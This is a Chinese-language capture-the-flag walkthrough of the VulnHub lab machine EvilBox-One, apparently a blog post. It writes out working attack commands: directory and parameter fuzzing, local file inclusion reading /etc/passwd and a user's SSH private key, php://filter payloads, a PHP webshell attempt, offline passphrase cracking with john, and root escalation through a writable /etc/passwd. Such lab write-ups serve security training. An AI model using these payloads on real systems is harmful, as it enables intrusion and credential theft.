靶场06

靶场06

靶机地址:https://download.vulnhub.com/evilbox/EvilBox---One.ova

难度等级:

打靶目标:取得 root 权限 + 2 Flag

涉及攻击方法:

  • 主机发现
  • 网络扫描
  • 强制访问
  • 参数爆破
  • 文件包含
  • PHP封装器
  • 任意文件读取
  • SSH公钥登录
  • 离线密码破解
  • 系统权限漏洞利用

1.主机发现

我们可以直接使用arp-scan或者使用新的方法fping

fping -gaq ip段

靶场06

经过判断靶机IP是10.0.2.8

2.端口扫描

sudo nmap -p- 10.0.2.8

靶场06

发现只开放了22端口和80端口,继续对端口的服务进行发现

靶场06

访问web页面,也没有任何有价值的信息

靶场06

回首爆破22端口,跑了好久,失败,密码过于复杂,嘤嘤嘤,那就只能回80端口,而80端口是apache的默认页面,那我们就可以对80端口进行目录扫描,先访问一波robots.txt试试看

靶场06

向我们问好!!!!(这会不会是一个路径的提示或者是账号名的提示了???)

我们直接开启目录扫描试试看

3.目录扫描

一般情况下我们使用的都是dirserach,这次我们使用一款新的工具gobuster

gobuster dir -u http://10.0.2.8 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp 

靶场06

发现了一个新的目录,访问一波

靶场06

空的...查看源码也什么都没有......

既然根目录下没有发现,但是我们发现了一个新的子目录,那我们都子目录进行继续扫描,在新的路径下可能也隐藏着一些页面

靶场06

这不又有新发现了吗,web访问一波

靶场06

呃呃呃,这玩意还是空的,其他方向以及没有路了,目前唯一可能有线索的就是evil.php页面了

4.参数爆破

我们可以对evil.php进行参数爆破,我们可以使用burp进行爆破,当然我们也可以使用其他的工具比如ffuf

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w val.txt:VAL -u http://10.0.2.8/secret/evil.php?PARAM=VAL -fs 0

靶场06

我们手动生成一个字典作为参数传入,这些参数在我们日常测试中是经常用到的

靶场06

失败了,那我们可以修改一下,我们的赋值,在各种各样的漏洞中是存在包含漏洞的,我们可以把val的值改为一个以及存在的文件,去跑参数名称的字典,去跑出这个值来

5.文件包含

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.0.2.8/secret/evil.php?FUZZ=../index.html -fs 0

靶场06

发现了新的参数command,我们再去浏览器确认一下

靶场06

可以正常访问,这里存在文件包含引用操作,我们尝试读取一下文件

http://10.0.2.8/secret/evil.php?command=../../../../../../../../etc/passwd

靶场06

尝试远程文件包含,我们在本地上构建一句话的webshell,进入/var/www/html目录下构造一句话木马,在开启apache服务

靶场06

靶场06

再去远程文件包含

靶场06

6.PHP封装器

呃呃,好像失败了,这时候我们可以尝试使用一下php的封装器

http://10.0.2.8/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php

靶场06

靶场06

这里可以看到这里直接进行了文件包含,但是不足以突破边界,我们尝试写入webshell(这里我们不知道当前文件的账号有没有写入的权限)

10.0.2.8/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.php&txt=NDU2

我们将一个经过base64编码后的字符写入test.php中,在访问一下

靶场06

写入失败,回到最初我们探测的得到的用户mowree

靶场06

利用这个账号对ssh进行爆破(之前无账号名进行爆破失败了....)

我们对ssh登陆的方式进行简单的探测

ssh mowree@10.0.2.8 -v  

靶场06

提示输入密码,看来是支持密码登陆验证的

靶场06

7.任意文件读取

这里也告诉了我们目标机器除了支持密码身份的登陆验证也支持公钥的身份登陆验证,如果它支持公钥验证,那么在这个账号下应该存在有这个公钥的内容

http://10.0.2.8/secret/evil.php?command=../../../../home/mowree/.ssh/authorized_keys

靶场06

我们可以得到mowree这个账号的公钥信息,既然有公钥信息,那岂不是也有私钥信息了,并且使用的rsa算法进行加密的,默认生成的私钥名称为id_rsa

http://10.0.2.8/secret/evil.php?command=../../../../home/mowree/.ssh/id_rsa

靶场06

成功得到私钥,使用私钥进行登陆。

8.SSH公钥登录

生成一个私钥文件,在赋予权限

靶场06

配置完成,开始登陆

靶场06

提示我们要输入这个密码文(这个私钥是经过密码加密过的,要输入一次密码才可以使用),我们要破解出加密私钥的密码,只能对密码进行爆破

9.离线密码破解

使用kail自带的字典拷贝到当前目录来

cp /usr/share/wordlists/rockyou.txt .

使用john进行爆破,但是之前得先把id_rsa进行格式转换

靶场06

完成转换

开始爆破

john hash --wordlist=rockyou.txt

靶场06

得到密码为unicorn,回到之前的使用ssh私钥进行登陆

靶场06

成功登陆,接下来就要开刷提权了

10.系统权限漏洞利用

靶场06

拿到第一个flag

提权

crontab -l  查看一下有没有计划任务

靶场06

查看一下sudo

sudo -l

靶场06

这里也没有

查看一下内核版本

uname -a

靶场06

我们再去看看suid

find / -perm /4000 2>/dev/null

靶场06

这些文件都是操作系统正常的可执行文件

找一下有sgid权限的

find / -perm /2000 2>/dev/null

靶场06

也没有异常可利用的文件

那我们找一下那些可以写入的脚本,如果有系统管理员通过脚本管理系统,并且这些脚本有管理员的改写权限,并且有以root权限执行的

find / -writable 2>/dev/null    查找具有写入权限的文件

有点多,我们过滤一下

find / -writable 2>/dev/null | grep -v proc

靶场06

我们居然发现etc/passwd下的文件居然是可写入的,正常情况下

靶场06

只有root权限可以写入

靶场06

任何用户可以写入?

/etc/passwd的内容.这里存放着所有linux账号的信息和密码,但是出于系统安全性的考虑,所有的密码都被x所替换,而真正的密码存在/etc/shadow

既然我们可以修改这个文件,那我们是不是可以直接把这个x替换掉,开始替换,开始替换root的密码,给root账号生成一个密码

靶场06

会帮我们生成一个root用户的密码,然后替换

靶场06

直接su 拿到权限

靶场06

靶场06

成功拿到第二个flag

上一篇:Python 基础06 range函数的使用


下一篇:C语言I博客作业06